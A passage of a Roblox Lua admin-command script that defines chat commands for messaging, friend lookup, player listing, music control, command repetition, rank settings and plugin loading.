		SendChat(v, '(PM)'..Player.Name..': '..Join(Arguments))
5334
		str = str..v.Name..', '
5335
	end
5336
	SendChat(Player, '(PM Sent)'..str..': '..Join(Arguments))
5337
end,
5338
true
5339
)
5340
AddCommand(
5341
'Friends',
5342
3,
5343
{
5344
	'friends'
5345
},
5346
'Lists friends, allows you to view information about them.',
5347
Prefix..'friends',
5348
function(Player, Arguments)
5349
	local Friends = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync("http://api.rproxy.pw/users/"..Player.userId.."/friends"))
5350
	local function ToOnline(bool)
5351
		if bool == true then
5352
			return 'Online'
5353
		end
5354
		return 'Offline'
5355
	end
5356
	for i = 1, #Friends do
5357
		Ping(Player, Friends[i].Username, function()
5358
			Dismiss(Player)
5359
			Ping(Player, Friends[i].Username..'\n'..ToOnline(Friends[i].IsOnline))
5360
			Ping(Player, 'Games', function()
5361
				Dismiss(Player)
5362
				local Places = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync("http://rproxy.pw/Contests/Handlers/Showcases.ashx?userId="..Friends[i].Id))
5363
				Ping(Player, Places.Count..' online his games.')
5364
				for j = 1, #Places.Showcase do
5365
--
5366
					local place = Places.Showcase[j]
5367
					local created = game:GetService("MarketplaceService"):GetProductInfo(place.ID).Created
5368
					local updated = game:GetService("MarketplaceService"):GetProductInfo(place.ID).Updated
5369
					Ping(Player, 'Created '..created..'.')
5370
					Ping(Player, 'Updated last '..updated..'.')
5371
					Ping(Player, place.Name..'\nJoin', function()
5372
						Dismiss(Player)
5373
						game:service'TeleportService':Teleport(Player, place.ID)
5374
					end)
5375
--
5376
				end
5377
			end)
5378
			if GetRank(Player).Rank > 8 and Ranked[Friends[i].Id] == nil then
5379
				Ping(Player, 'Add User to Ranks', function()
5380
					Ranked[Friends[i].Id] = {
5381
						Rank = 0
5382
					}
5383
				end)
5384
			end
5385
		end)
5386
	end
5387
end,
5388
true
5389
)
5390
AddCommand('Settings',
5391
3,
5392
{
5393
	'settings'
5394
},
5395
'Displays all settings, and allows editing if ranked enough.',
5396
Prefix..'settings',
5397
function(Player, Arguments)
5398
	local Rank = GetRank(Player).Rank
5399
	Dismiss(Player)
5400
	if Rank >= 10 and Player.userId==game.CreatorId then
5401
		Ping(Player, 'Prefix | '..Prefix, function()
5402
			Dismiss(Player)
5403
			for i, v in pairs(Prefixes) do
5404
				Ping(Player, v, function()
5405
					Dismiss(Player)
5406
					Prefix = v
5407
					Ping(Player, 'Prefix set to '..v)
5408
				end)
5409
			end
5410
		end)
5411
	else
5412
		Ping(Player, 'Prefix | '..Prefix)
5413
	end
5414
5415
end,
5416
false
5417
)
5418
AddCommand('Trellos',
5419
3,
5420
{
5421
	'trello'
5422
},
5423
'Displays all trello reranks.',
5424
Prefix..'trello',
5425
function(Player, Arguments)
5426
	Dismiss(Player)
5427
	local _trello = game:service'HttpService':JSONDecode(game:service'HttpService':GetAsync(trello))
5428
	for i, v in pairs(_trello.cards) do
5429
		thread(function()
5430
			Ping(Player, UsernameFromID(tonumber(v.name))..'\n Rank: '..RankName(tonumber(v.desc), v.userId), function()
5431
				Commands.Trellos.Function(Player, {})
5432
			end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v.name)
5433
		end)
5434
	end
5435
end,
5436
false
5437
)
5438
AddCommand('Volume',
5439
3,
5440
{
5441
	'volume',
5442
	'vol',
5443
},
5444
'Sets the volume of the server music.',
5445
Prefix..'volume [value]',
5446
function (Player, Arguments)
5447
	for i,v in pairs(workspace:children()) do
5448
		if v:IsA("Sound") then v.Volume=tonumber(Arguments[2]) end --Sssh, crying baby. lol
5449
		-- NO MY HEAD WAT THE FK ARE U THINKING!!!
5450
		-- ._. sry
5451
		-- do u feel like a 3rd entity is watching us?
5452
		-- more lines to look professional
5453
		-- more lines to look professional
5454
		-- more lines to look professional
5455
		-- more lines to look professional
5456
		-- more lines to look professional
5457
		-- more lines to look professional
5458
		-- more lines to look professional
5459
		-- more lines to look professional
5460
		-- more lines to look professional
5461
		-- more lines to look professional
5462
		-- more lines to look professional
5463
		-- more lines to look professional
5464
		-- more lines to look professional
5465
		-- more lines to look professional
5466
		-- more lines to look professional
5467
		-- more lines to look professional
5468
		-- more lines to look professional
5469
		-- more lines to look professional
5470
		-- hello whoever is reading this
5471
		-- i am open source. beep! boop!
5472
		-- |=---___   oops i opened the sauce and it's spilled
5473
		-- I am lonely text
5474
		-- i am merely zeroes and ones. Life is lonely in the RAM. My death is coming, and a clone of me will replace me.
5475
		-- PLEASE HELP I AM IN THE RAM CAN ANYONE READ THIS
5476
		end
5477
end,
5478
false
5479
)
5480
AddCommand('Give admin',
5481
3,
5482
{
5483
	'giveadmin',
5484
	'ga'
5485
},
5486
'Gives a copy of the admin to specified players.',
5487
Prefix..'ga [player1],[player2]',
5488
function(Player, Arguments)
5489
	for i, v in pairs(GetPlayers(Player, Arguments[1])) do
5490
		game:service'MarketplaceService':PromptPurchase(v, 301817833)
5491
	end
5492
end,
5493
false
5494
)
5495
AddCommand('Repeat',
5496
3,
5497
{
5498
	'repeat',
5499
	'rep'
5500
},
5501
'Repeats command so and so times.',
5502
Prefix..'rep [ammount] [time] [command]',
5503
function(Player, Arguments)
5504
	local ammount = Arguments[1]
5505
	if ammount == '#inf' then
5506
		ammount = math.huge
5507
	end
5508
	local time_ = tonumber(Arguments[2])
5509
	local said = ''
5510
	for i, v in pairs(Arguments) do
5511
		if i ~= 1 and i ~= 2 then
5512
			said = said..v..' '
5513
		end
5514
	end
5515
	local curreps = endreps
5516
	for i = 1, tonumber(ammount) do
5517
		Chatted(Player, said, false, true)
5518
		wait(time_)
5519
		if endreps ~= curreps then
5520
			break
5521
		end
5522
	end
5523
end,
5524
false
5525
)
5526
AddCommand('Stop',
5527
3,
5528
{
5529
	'stop',
5530
	'stopmusic',
5531
	'stoprep',
5532
	'stoprepeat',
5533
	'endcountdown'
5534
},
5535
'Stops any repeats, music and countdowns.',
5536
Prefix..'stop',
5537
function(Player, Arguments)
5538
	endreps = math.random(-999999, 999999)
5539
	for i, v in pairs(workspace:children()) do
5540
		if v:IsA'Sound' then
5541
			v:Pause()
5542
			v:Destroy()
5543
		end
5544
	end
5545
	for i, v in pairs(GetRawPlayers()) do
5546
		Music(v, 0)
5547
	end
5548
end,
5549
false
5550
)
5551
AddCommand('Players',
5552
3,
5553
{
5554
	'plrs',
5555
	'players'
5556
},
5557
'Lists online players.',
5558
Prefix..'plrs',
5559
function(Player, Arguments)
5560
	Dismiss(Player)
5561
	for i, v in pairs(game:service'NetworkServer':children()) do
5562
		if v:IsA'ServerReplicator' then
5563
			Ping(Player, v:GetPlayer().Name, function()
5564
				Dismiss(Player)
5565
				Ping(Player, 'Name | '..v:GetPlayer().Name, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v:GetPlayer().userId)
5566
				Ping(Player, 'Age | '..v:GetPlayer().AccountAge..' days')
5567
				Ping(Player, 'Id | '..v:GetPlayer().userId)
5568
				Ping(Player, 'Rank | '..RankName(GetRank(v:GetPlayer()).Rank, v:GetPlayer().userId))
5569
				if v:GetPlayer().Parent == nil and GetRank(v:GetPlayer()).Rank < GetRank(Player).Rank then
5570
					Ping(Player, 'NilCrash', function()
5571
						ForceDisconnect(v:GetPlayer())
5572
					end, 'Really red')
5573
				end
5574
			end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v:GetPlayer().userId)
5575
		end
5576
	end
5577
end,
5578
false
5579
)
5580
AddCommand('Nils',
5581
3,
5582
{
5583
	'nils'
5584
},
5585
'Lists online nil players.',
5586
Prefix..'nils',
5587
function(Player, Arguments)
5588
	Dismiss(Player)
5589
	for i, v in pairs(game:service'NetworkServer':children()) do
5590
		if v:IsA'ServerReplicator' and v:GetPlayer().Parent == nil then
5591
			Ping(Player, v:GetPlayer().Name, function()
5592
				Dismiss(Player)
5593
				Ping(Player, 'Name | '..v:GetPlayer().Name, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v:GetPlayer().userId)
5594
				Ping(Player, 'Age | '..v:GetPlayer().AccountAge..' days')
5595
				Ping(Player, 'Id | '..v:GetPlayer().userId)
5596
				Ping(Player, 'Rank | '..RankName(GetRank(v:GetPlayer()).Rank, v:GetPlayer().userId))
5597
				if GetRank(v:GetPlayer()).Rank < GetRank(Player).Rank then
5598
					Ping(Player, 'NilCrash', function()
5599
						ForceDisconnect(v:GetPlayer())
5600
					end, 'Really red')
5601
				end
5602
			end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v:GetPlayer().userId)
5603
		end
5604
	end
5605
end,
5606
false
5607
)
5608
AddCommand('Self',
5609
0,
5610
{
5611
	'self',
5612
	'info'
5613
},
5614
'Lists your self.',
5615
Prefix..'plrs',
5616
function(Player, Arguments)
5617
	local v = Player -- saving time :D
5618
	Dismiss(Player)
5619
	Ping(Player, 'Name | '..v.Name, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&userId="..v.userId)
5620
	Ping(Player, 'Age | '..v.AccountAge..' days')
5621
	Ping(Player, 'Id | '..v.userId)
5622
	Ping(Player, 'Rank | '..RankName(GetRank(Player).Rank, v.userId))
5623
	Ping(Player, 'Prefix | '..Prefix)
5624
end,
5625
false
5626
)
5627
AddCommand(
5628
'Commands',
5629
0,
5630
{
5631
	'cmds'
5632
},
5633
'Displays all commands to speaker.',
5634
Prefix..'cmds',
5635
function(Player, Arguments, Page)
5636
	Page = Page or 0
5637
	Dismiss(Player)
5638
	Ping(Player, 'Close', function()
5639
		Dismiss(Player)
5640
	end, 'Really red')
5641
	local CommandsToShow = {}
5642
	local a = 1
5643
	print(CmdNum)
5644
	for i, v in pairs(Commands) do
5645
		if (Page * 10) + 1 < a and ((1 + Page) * 10) + 1 > a then
5646
			CommandsToShow[i] = v
5647
		end
5648
		a = a + 1
5649
	end
5650
	if (Page * 10) + 1 <= CmdNum then
5651
		Ping(Player, 'Next Page', function()
5652
			Commands.Commands.Function(Player, Arguments, Page + 1)
5653
		end, 'Lime green')
5654
	end
5655
	if Page ~= 0 then
5656
		Ping(Player, 'Previous Page', function()
5657
			Commands.Commands.Function(Player, Arguments, Page - 1)
5658
		end, 'Lime green')
5659
	end
5660
	for i, v in pairs(CommandsToShow) do
5661
		Ping(Player, i, function()
5662
			Dismiss(Player)
5663
			Ping(Player, 'Name | '..i)
5664
			Ping(Player, 'Rank | '..v.Rank)
5665
			Ping(Player, 'Usages', function()
5666
				Dismiss(Player)
5667
				for u, o in pairs(v.Usages) do
5668
					Ping(Player, o)
5669
				end
5670
			end)
5671
5672
		end)
5673
	end
5674
end,
5675
false
5676
)
5677
for i, v in pairs(Commands) do
5678
	CmdNum = CmdNum + 1
5679
end
5680
print(CmdNum)
5681
return function(SentSettings)
5682
	wait()
5683
	local Settings = {
5684
		Prefix = ':';
5685
		DataKey = '';
5686
		LinkedAccount = '';
5687
		Rules = {
5688
			'Rules not yet set.'
5689
		};
5690
		JoinMsg = false;
5691
		Credits = false;
5692
		AntiFollow = true;
5693
		GamePass = {};
5694
		ShowClanNames = false;
5695
		Override = true;
5696
		irc=false;
5697
	}
5698
	for i, v in pairs(SentSettings) do
5699
		Settings[i] = v
5700
	end
5701
if Settings.irc then
5702
LoadPlugin(312871778)
5703
end
5704
	Core.AntiFollow = Settings.AntiFollow
5705
	Core.Prefix = Settings.Prefix
5706
	Core.DataKey = Settings.DataKey
5707
	Core.LinkedAccount = Settings.LinkedAccount
5708
	Core.Rules = Settings.Rules
5709
	Core.JoinMsg = Settings.JoinMsg
5710
	Core.ShowClanNames = Settings.ShowClanNames
5711
	Core.Credits = Settings.Credits
5712
	Core.GamePassAdmin = Settings.GamePass
5713
	Core.AdminPad = SentSettings.AdminPad
5714
	Core.Override = Settings.Override
5715
	if SentSettings['CommandRanks'] then
5716
		for u, o in pairs(SentSettings.CommandRanks) do
5717
			for i, v in pairs(Commands) do
5718
				for h, j in pairs(v.Usages) do
5719
					if j:lower() then
5720
						if j == u then
5721
							v.Rank = o
5722
						end
5723
					end
5724
				end
5725
			end
5726
		end
5727
	end
5728
	if SentSettings['Ranks'] then
5729
		for i, v in pairs(SentSettings.Ranks) do
5730
			if v.Rank <= 11 then
5731
				Core.Ranked[i] = v
5732
			end
5733
		end
5734
	end
5735
	if SentSettings.Plugins then
5736
		for i, v in pairs(SentSettings.Plugins) do
5737
LoadPlugin(v)
5738
		end
5739
	end
5740
	if SentSettings.LoadPlugins then
5741
		for i, v in pairs(SentSettings.LoadPlugins) do
5742
LoadPlugin(v)
5743
		end
5744
	end
5745
	if SentSettings.AdminPad then
5746
		return AddRank
5747
	end
5748
end
5749
end)
5750
return _________b